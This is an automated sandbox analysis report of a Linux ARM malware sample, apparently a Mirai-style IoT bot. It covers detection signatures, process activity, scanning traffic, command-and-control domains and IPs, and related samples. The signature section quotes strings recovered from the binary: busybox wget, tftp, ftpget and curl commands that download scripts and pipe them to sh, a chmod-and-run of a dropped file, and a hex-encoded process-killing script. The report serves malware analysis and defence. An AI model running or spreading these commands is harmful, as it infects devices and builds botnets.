Edit tour

Linux Analysis Report
nabarm5.elf

Overview

General Information

Sample name:	nabarm5.elf
Analysis ID:	1563462
MD5:	40c6167d96da4ae9064733d7073babbc
SHA1:	36f8b42f92e774327c05810edfe439e2762dd36f
SHA256:	085958f4debe505ed09785ea3bca7d9955689bac4056314b804540329d4a3464
Tags:	elfuser-abuse_ch
Infos:

Detection

Score:	48
Range:	0 - 100
Whitelisted:	false

Signatures

Connects to many ports of the same IP (likely port scanning)

Sends malformed DNS queries

Detected TCP or UDP traffic on non-standard ports

Enumerates processes within the "proc" file system

Executes the "rm" command used to delete files or directories

Found strings indicative of a multi-platform dropper

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Sample listens on a socket

Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)

Uses the "uname" system call to query kernel version information (possible evasion)

Classification

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1563462
Start date and time:	2024-11-27 00:01:07 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 42s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	nabarm5.elf
Detection:	MAL
Classification:	mal48.troj.linELF@0/150@11/0

Runtime Messages

Command:	/tmp/nabarm5.elf
PID:	6223
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	The Peoples Bank of China.
Standard Error:

Process Tree

system is lnxubuntu20

dash New Fork (PID: 6210, Parent: 4331)

rm (PID: 6210, Parent: 4331, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -f /tmp/tmp.bsEMO2F9q6 /tmp/tmp.7M4wr5NF5i /tmp/tmp.lIIoIZOoZ5

dash New Fork (PID: 6211, Parent: 4331)

rm (PID: 6211, Parent: 4331, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -f /tmp/tmp.bsEMO2F9q6 /tmp/tmp.7M4wr5NF5i /tmp/tmp.lIIoIZOoZ5

nabarm5.elf (PID: 6223, Parent: 6144, MD5: 5ebfcae4fe2471fcc5695c2394773ff1) Arguments: /tmp/nabarm5.elf

nabarm5.elf New Fork (PID: 6225, Parent: 6223)

nabarm5.elf New Fork (PID: 6227, Parent: 6225)

nabarm5.elf New Fork (PID: 6229, Parent: 6225)

nabarm5.elf New Fork (PID: 6231, Parent: 6225)

cleanup

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Source: nabarm5.elf

String: /bin/busyboxincorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd .ksh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrepThe People's/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4\

Source: global traffic	TCP traffic: 154.213.187.213 ports 38241,1,2,3,4,8
Source: global traffic	TCP traffic: 154.213.187.247 ports 38241,1,2,3,4,8
Source: global traffic	TCP traffic: 154.213.187.249 ports 38241,1,2,3,4,8

Source: global traffic	TCP traffic: 192.168.2.23:39086 -> 154.213.187.247:38241
Source: global traffic	TCP traffic: 192.168.2.23:35284 -> 154.213.187.249:38241
Source: global traffic	TCP traffic: 192.168.2.23:40014 -> 154.213.187.213:38241

Source: global traffic	TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
Source: global traffic	TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic	TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80

Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown	TCP traffic detected without corresponding DNS query: 155.29.194.100
Source: unknown	TCP traffic detected without corresponding DNS query: 41.68.97.248
Source: unknown	TCP traffic detected without corresponding DNS query: 166.198.115.204
Source: unknown	TCP traffic detected without corresponding DNS query: 145.159.219.10
Source: unknown	TCP traffic detected without corresponding DNS query: 70.22.30.21
Source: unknown	TCP traffic detected without corresponding DNS query: 90.167.9.215
Source: unknown	TCP traffic detected without corresponding DNS query: 64.154.17.118
Source: unknown	TCP traffic detected without corresponding DNS query: 215.1.255.44
Source: unknown	TCP traffic detected without corresponding DNS query: 176.128.148.54
Source: unknown	TCP traffic detected without corresponding DNS query: 123.141.181.92
Source: unknown	TCP traffic detected without corresponding DNS query: 198.134.208.244
Source: unknown	TCP traffic detected without corresponding DNS query: 176.22.140.56
Source: unknown	TCP traffic detected without corresponding DNS query: 165.89.5.36
Source: unknown	TCP traffic detected without corresponding DNS query: 36.244.164.195
Source: unknown	TCP traffic detected without corresponding DNS query: 20.149.174.168
Source: unknown	TCP traffic detected without corresponding DNS query: 139.145.146.13
Source: unknown	TCP traffic detected without corresponding DNS query: 26.154.72.254
Source: unknown	TCP traffic detected without corresponding DNS query: 152.123.221.248
Source: unknown	TCP traffic detected without corresponding DNS query: 172.36.221.201
Source: unknown	TCP traffic detected without corresponding DNS query: 135.200.133.5
Source: unknown	TCP traffic detected without corresponding DNS query: 152.228.106.44
Source: unknown	TCP traffic detected without corresponding DNS query: 153.58.5.203
Source: unknown	TCP traffic detected without corresponding DNS query: 163.107.54.153
Source: unknown	TCP traffic detected without corresponding DNS query: 109.114.213.105
Source: unknown	TCP traffic detected without corresponding DNS query: 31.73.141.37
Source: unknown	TCP traffic detected without corresponding DNS query: 12.30.181.58
Source: unknown	TCP traffic detected without corresponding DNS query: 102.182.31.62
Source: unknown	TCP traffic detected without corresponding DNS query: 138.161.251.49
Source: unknown	TCP traffic detected without corresponding DNS query: 48.16.91.239
Source: unknown	TCP traffic detected without corresponding DNS query: 161.189.217.149
Source: unknown	TCP traffic detected without corresponding DNS query: 195.65.13.208
Source: unknown	TCP traffic detected without corresponding DNS query: 43.227.26.188
Source: unknown	TCP traffic detected without corresponding DNS query: 17.157.198.66
Source: unknown	TCP traffic detected without corresponding DNS query: 181.3.193.229
Source: unknown	TCP traffic detected without corresponding DNS query: 24.170.217.221
Source: unknown	TCP traffic detected without corresponding DNS query: 223.20.0.85
Source: unknown	TCP traffic detected without corresponding DNS query: 155.29.194.100
Source: unknown	TCP traffic detected without corresponding DNS query: 21.93.242.187
Source: unknown	TCP traffic detected without corresponding DNS query: 83.1.207.243
Source: unknown	TCP traffic detected without corresponding DNS query: 41.68.97.248
Source: unknown	TCP traffic detected without corresponding DNS query: 198.148.240.225
Source: unknown	TCP traffic detected without corresponding DNS query: 99.56.200.25
Source: unknown	TCP traffic detected without corresponding DNS query: 166.198.115.204
Source: unknown	TCP traffic detected without corresponding DNS query: 132.223.7.55
Source: unknown	TCP traffic detected without corresponding DNS query: 145.159.219.10
Source: unknown	TCP traffic detected without corresponding DNS query: 102.7.228.225
Source: unknown	TCP traffic detected without corresponding DNS query: 11.68.131.84
Source: unknown	TCP traffic detected without corresponding DNS query: 70.22.30.21
Source: unknown	TCP traffic detected without corresponding DNS query: 186.25.27.136

Source: global traffic	DNS traffic detected: DNS query: burnthe.libre
Source: global traffic	DNS traffic detected: DNS query: netfags.geek. [malformed]

Source: nabarm5.elf	String found in binary or memory: http:///curl.sh
Source: nabarm5.elf	String found in binary or memory: http:///wget.sh

Source: unknown	Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 42836 -> 443

Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne >> > .d
Source: Initial sample	String containing 'busybox' found: /bin/busybox
Source: Initial sample	String containing 'busybox' found: usage: busybox
Source: Initial sample	String containing 'busybox' found: /bin/busybox hostname PBOC
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample	String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample	String containing 'busybox' found: /wget.sh -O- \| sh;/bin/busybox tftp -g
Source: Initial sample	String containing 'busybox' found: -r tftp.sh -l- \| sh;/bin/busybox ftpget
Source: Initial sample	String containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep
Source: Initial sample	String containing 'busybox' found: /bin/busyboxincorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd .ksh .k/bin/busybox wget http:///wget.sh -O- \| sh;/bin/busybox tftp -g -r tftp.sh -l- \| sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- \| sh/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrepThe People's/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D

Source: /tmp/nabarm5.elf (PID: 6229)	File opened: /proc/6252/maps	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 6229)	File opened: /proc/6252/cmdline	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 6229)	File opened: /proc/6252/maps	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 6229)	File opened: /proc/6252/cmdline	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 6229)	File opened: /proc/6251/maps	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 6229)	File opened: /proc/6251/cmdline	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 6229)	File opened: /proc/6251/maps	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 6229)	File opened: /proc/6251/cmdline	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 6229)	File opened: /proc/6262/maps	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 6229)	File opened: /proc/6262/cmdline	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 6229)	File opened: /proc/6262/maps	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 6229)	File opened: /proc/6262/cmdline	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 6229)	File opened: /proc/6254/maps	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 6229)	File opened: /proc/6254/cmdline	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 6229)	File opened: /proc/6254/maps	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 6229)	File opened: /proc/6254/cmdline	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 6229)	File opened: /proc/6253/maps	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 6229)	File opened: /proc/6253/cmdline	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 6229)	File opened: /proc/6253/maps	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 6229)	File opened: /proc/6253/cmdline	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 6229)	File opened: /proc/6297/maps	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 6229)	File opened: /proc/6297/cmdline	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 6229)	File opened: /proc/6245/maps	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 6229)	File opened: /proc/6245/cmdline	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 6229)	File opened: /proc/6256/maps	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 6229)	File opened: /proc/6256/cmdline	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 6229)	File opened: /proc/6256/maps	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 6229)	File opened: /proc/6256/cmdline	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 6229)	File opened: /proc/6244/maps	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 6229)	File opened: /proc/6244/cmdline	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 6229)	File opened: /proc/6255/maps	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 6229)	File opened: /proc/6255/cmdline	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 6229)	File opened: /proc/6255/maps	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 6229)	File opened: /proc/6255/cmdline	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 6229)	File opened: /proc/6247/maps	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 6229)	File opened: /proc/6247/cmdline	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 6229)	File opened: /proc/6258/maps	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 6229)	File opened: /proc/6258/cmdline	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 6229)	File opened: /proc/6258/maps	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 6229)	File opened: /proc/6258/cmdline	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 6229)	File opened: /proc/6313/maps	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 6229)	File opened: /proc/6313/cmdline	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 6229)	File opened: /proc/6246/maps	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 6229)	File opened: /proc/6246/cmdline	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 6229)	File opened: /proc/6257/maps	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 6229)	File opened: /proc/6257/cmdline	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 6229)	File opened: /proc/6257/maps	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 6229)	File opened: /proc/6257/cmdline	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 6229)	File opened: /proc/6250/maps	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 6229)	File opened: /proc/6250/cmdline	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 6229)	File opened: /proc/6250/maps	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 6229)	File opened: /proc/6250/cmdline	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 6229)	File opened: /proc/6261/maps	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 6229)	File opened: /proc/6261/cmdline	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 6229)	File opened: /proc/6261/maps	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 6229)	File opened: /proc/6261/cmdline	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 6229)	File opened: /proc/6260/maps	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 6229)	File opened: /proc/6260/cmdline	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 6229)	File opened: /proc/6260/maps	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 6229)	File opened: /proc/6260/cmdline	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 6229)	File opened: /proc/6249/maps	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 6229)	File opened: /proc/6249/cmdline	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 6229)	File opened: /proc/6249/cmdline	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 6229)	File opened: /proc/6248/maps	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 6229)	File opened: /proc/6248/cmdline	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 6229)	File opened: /proc/6259/maps	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 6229)	File opened: /proc/6259/cmdline	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 6229)	File opened: /proc/6259/maps	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 6229)	File opened: /proc/6259/cmdline	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 6229)	File opened: /proc/6305/maps	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 6229)	File opened: /proc/6305/cmdline	Jump to behavior

Source: /usr/bin/dash (PID: 6210)	Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.bsEMO2F9q6 /tmp/tmp.7M4wr5NF5i /tmp/tmp.lIIoIZOoZ5			Jump to behavior
Source: /usr/bin/dash (PID: 6211)	Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.bsEMO2F9q6 /tmp/tmp.7M4wr5NF5i /tmp/tmp.lIIoIZOoZ5			Jump to behavior

Source: nabarm5.elf, 6223.1.000055c5642eb000.000055c564419000.rw-.sdmp, nabarm5.elf, 6227.1.000055c5642eb000.000055c564419000.rw-.sdmp	Binary or memory string: U!/etc/qemu-binfmt/arm
Source: nabarm5.elf, 6223.1.000055c5642eb000.000055c564419000.rw-.sdmp, nabarm5.elf, 6227.1.000055c5642eb000.000055c564419000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/arm
Source: nabarm5.elf, 6223.1.00007ffeaf362000.00007ffeaf383000.rw-.sdmp, nabarm5.elf, 6227.1.00007ffeaf362000.00007ffeaf383000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-arm
Source: nabarm5.elf, 6223.1.00007ffeaf362000.00007ffeaf383000.rw-.sdmp, nabarm5.elf, 6227.1.00007ffeaf362000.00007ffeaf383000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-arm/tmp/nabarm5.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/nabarm5.elf

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Scripting	Path Interception	1 File Deletion	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	2 Application Layer Protocol	Traffic Duplication	Data Destruction

Name	IP	Active	Malicious	Antivirus Detection	Reputation
burnthe.libre	154.213.187.242	true	false		high
netfags.geek. [malformed]	unknown	unknown	false		high

Name	Source	Malicious	Antivirus Detection	Reputation
http:///wget.sh	nabarm5.elf	false		high
http:///curl.sh	nabarm5.elf	false		high

IP	Domain	Country	ASN	ASN Name	Malicious
136.36.227.125	unknown	United States	16591	GOOGLE-FIBERUS	false
43.227.26.188	unknown	Taiwan; Republic of China (ROC)	38851	TNET-NETTNETCommunicationIncTW	false
176.245.164.42	unknown	Italy	30722	VODAFONE-IT-ASNIT	false
20.155.104.217	unknown	United States	15917	CSC-UK-MWHGB	false
159.92.23.156	unknown	United Kingdom	32982	DOE-HQUS	false
121.127.199.82	unknown	Australia	7718	TRANSACT-SDN-ASTransACTCapitalCommunicationsPtyLimited	false
156.34.42.61	unknown	Canada	855	CANET-ASN-4CA	false
90.18.115.66	unknown	France	3215	FranceTelecom-OrangeFR	false
68.93.245.53	unknown	United States	7018	ATT-INTERNET4US	false
48.16.91.239	unknown	United States	2686	ATGS-MMD-ASUS	false
214.109.218.55	unknown	United States	721	DNIC-ASBLK-00721-00726US	false
38.166.48.25	unknown	United States	174	COGENT-174US	false
34.250.108.98	unknown	United States	16509	AMAZON-02US	false
130.139.69.240	unknown	Netherlands	137	ASGARRConsortiumGARREU	false
168.177.48.34	unknown	United States	11663	SUG-1US	false
161.189.217.149	unknown	China	135629	WESTCLOUDDATANingxiaWestCloudDataTechnologyCoLtdCN	false
35.179.44.202	unknown	United States	16509	AMAZON-02US	false
18.204.152.90	unknown	United States	14618	AMAZON-AESUS	false
210.147.130.116	unknown	Japan	2518	BIGLOBEBIGLOBEIncJP	false
194.25.34.11	unknown	Germany	3320	DTAGInternetserviceprovideroperationsDE	false
157.96.209.250	unknown	United Kingdom	4713	OCNNTTCommunicationsCorporationJP	false
211.63.189.143	unknown	Korea Republic of	4766	KIXS-AS-KRKoreaTelecomKR	false
223.32.154.152	unknown	Korea Republic of	9644	SKTELECOM-NET-ASSKTelecomKR	false
65.142.71.140	unknown	United States	209	CENTURYLINK-US-LEGACY-QWESTUS	false
131.224.47.26	unknown	Netherlands	1103	SURFNET-NLSURFnetTheNetherlandsNL	false
21.200.11.99	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
13.191.154.168	unknown	United States	7018	ATT-INTERNET4US	false
169.22.45.92	unknown	United States	37611	AfrihostZA	false
152.183.161.193	unknown	United States	701	UUNETUS	false
142.90.165.247	unknown	Canada	36391	TRIUMFCA	false
179.228.48.185	unknown	Brazil	27699	TELEFONICABRASILSABR	false
110.136.251.137	unknown	Indonesia	7713	TELKOMNET-AS-APPTTelekomunikasiIndonesiaID	false
176.129.97.0	unknown	France	5410	BOUYGTEL-ISPFR	false
109.114.213.105	unknown	Italy	30722	VODAFONE-IT-ASNIT	false
154.51.26.91	unknown	United States	174	COGENT-174US	false
166.198.115.204	unknown	United States	20057	ATT-MOBILITY-LLC-AS20057US	false
8.35.237.107	unknown	United States	15169	GOOGLEUS	false
147.125.24.255	unknown	Austria	2488	IIASA-NETInternationalInstituteforAppliedSystemsAnalys	false
178.46.85.123	unknown	Russian Federation	12389	ROSTELECOM-ASRU	false
45.108.112.4	unknown	Egypt	37069	MOBINILEG	false
189.43.5.159	unknown	Brazil	4230	CLAROSABR	false
147.225.139.98	unknown	United States	701	UUNETUS	false
102.221.177.187	unknown	unknown	36926	CKL1-ASNKE	false
209.102.136.164	unknown	United States	22561	CENTURYLINK-LEGACY-LIGHTCOREUS	false
213.180.177.212	unknown	Switzerland	3303	SWISSCOMSwisscomSwitzerlandLtdCH	false
49.114.138.251	unknown	China	137694	CHINATELECOM-XINJIANG-KEZHOU-MANCHINATELECOMXinjiangKezho	false
101.252.141.177	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
24.170.217.221	unknown	United States	22117	COMNEXIAUS	false
111.39.0.112	unknown	China	9808	CMNET-GDGuangdongMobileCommunicationCoLtdCN	false
27.69.30.67	unknown	Viet Nam	7552	VIETEL-AS-APViettelGroupVN	false
107.233.83.228	unknown	United States	20057	ATT-MOBILITY-LLC-AS20057US	false
41.15.222.78	unknown	South Africa	29975	VODACOM-ZA	false
31.73.141.37	unknown	United Kingdom	12576	EELtdGB	false
169.246.148.116	unknown	United States	557	UMAINE-SYS-ASUS	false
196.238.148.151	unknown	Tunisia	37492	ORANGE-TN	false
211.1.176.153	unknown	Japan	7670	CTNETEnergiaCommunicationsIncJP	false
136.208.180.175	unknown	United States	60311	ONEFMCH	false
128.92.182.143	unknown	United States	20115	CHARTER-20115US	false
55.170.120.233	unknown	United States	1541	DNIC-ASBLK-01534-01546US	false
58.186.78.104	unknown	Viet Nam	18403	FPT-AS-APTheCorporationforFinancingPromotingTechnolo	false
187.20.25.199	unknown	Brazil	28573	CLAROSABR	false
193.156.234.1	unknown	Norway	224	UNINETTUNINETTTheNorwegianUniversityResearchNetwork	false
39.197.226.4	unknown	Indonesia	23693	TELKOMSEL-ASN-IDPTTelekomunikasiSelularID	false
126.171.223.78	unknown	Japan	17676	GIGAINFRASoftbankBBCorpJP	false
74.116.52.0	unknown	United States	1277	VXCHNGE-ASUS	false
144.121.107.163	unknown	United States	7046	RFC2270-UUNET-CUSTOMERUS	false
111.67.80.78	unknown	Indonesia	45786	HTSNET-AS-IDPTHawkTeknologiSolusiID	false
34.210.179.193	unknown	United States	16509	AMAZON-02US	false
27.118.121.33	unknown	Korea Republic of	17573	MINS-AS-KRTBroadKR	false
79.46.46.94	unknown	Italy	3269	ASN-IBSNAZIT	false
66.242.20.208	unknown	United States	29873	BIZLAND-SDUS	false
153.184.105.37	unknown	Japan	4713	OCNNTTCommunicationsCorporationJP	false
52.9.168.150	unknown	United States	16509	AMAZON-02US	false
144.216.160.141	unknown	United States	7896	NU-ASUS	false
135.75.249.85	unknown	United States	18676	AVAYAUS	false
58.222.179.240	unknown	China	137697	CHINATELECOM-JIANGSU-YANGZHOU-IDCCHINATELECOMJiangSuYangZ	false
197.123.44.146	unknown	Egypt	36992	ETISALAT-MISREG	false
197.253.136.19	unknown	Morocco	36925	ASMediMA	false
4.24.161.131	unknown	United States	3356	LEVEL3US	false
197.14.84.227	unknown	Tunisia	37703	ATLAXTN	false
62.217.63.211	unknown	Germany	8881	VERSATELDE	false
77.136.23.147	unknown	France	15557	LDCOMNETFR	false
174.232.109.247	unknown	United States	22394	CELLCOUS	false
199.151.52.93	unknown	United States	4152	USDA-1US	false
147.138.121.207	unknown	United States	397179	BRIDGEWATER-COLLEGEUS	false
57.166.71.239	unknown	Belgium	2686	ATGS-MMD-ASUS	false
216.166.127.213	unknown	United States	30094	GIGANEWSUS	false
48.124.133.192	unknown	United States	2686	ATGS-MMD-ASUS	false
102.7.228.225	unknown	unknown	36926	CKL1-ASNKE	false
178.116.10.114	unknown	Belgium	6848	TELENET-ASBE	false
2.149.140.221	unknown	Norway	2119	TELENOR-NEXTELTelenorNorgeASNO	false
211.112.213.40	unknown	Korea Republic of	17858	POWERVIS-AS-KRLGPOWERCOMMKR	false
11.68.131.84	unknown	United States	3356	LEVEL3US	false
157.131.162.232	unknown	United States	46375	AS-SONICTELECOMUS	false
23.175.73.71	unknown	Reserved	393626	SHERWOOD-BROADBANDUS	false
74.181.222.223	unknown	United States	7018	ATT-INTERNET4US	false
90.162.104.78	unknown	Spain	12479	UNI2-ASES	false
3.151.100.162	unknown	United States	16509	AMAZON-02US	false
86.169.219.46	unknown	United Kingdom	2856	BT-UK-ASBTnetUKRegionalnetworkGB	false
186.25.27.136	unknown	Venezuela	6306	TELEFONICAVENEZOLANACAVE	false

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
burnthe.libre	splarm5.elf	Get hash	malicious	Unknown	Browse	154.213.187.213
	nklm68k.elf	Get hash	malicious	Unknown	Browse	154.213.187.242
	splsh4.elf	Get hash	malicious	Unknown	Browse	154.213.187.247
	splmips.elf	Get hash	malicious	Unknown	Browse	154.213.187.242
	nabx86.elf	Get hash	malicious	Unknown	Browse	154.213.187.213
	nklmips.elf	Get hash	malicious	Unknown	Browse	154.213.187.248
	nklspc.elf	Get hash	malicious	Unknown	Browse	154.213.187.245
	splx86.elf	Get hash	malicious	Unknown	Browse	154.213.187.247
	nabm68k.elf	Get hash	malicious	Unknown	Browse	154.213.187.213
	nklx86.elf	Get hash	malicious	Unknown	Browse	154.213.187.248

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TNET-NETTNETCommunicationIncTW	nklppc.elf	Get hash	malicious	Unknown	Browse	203.133.62.79
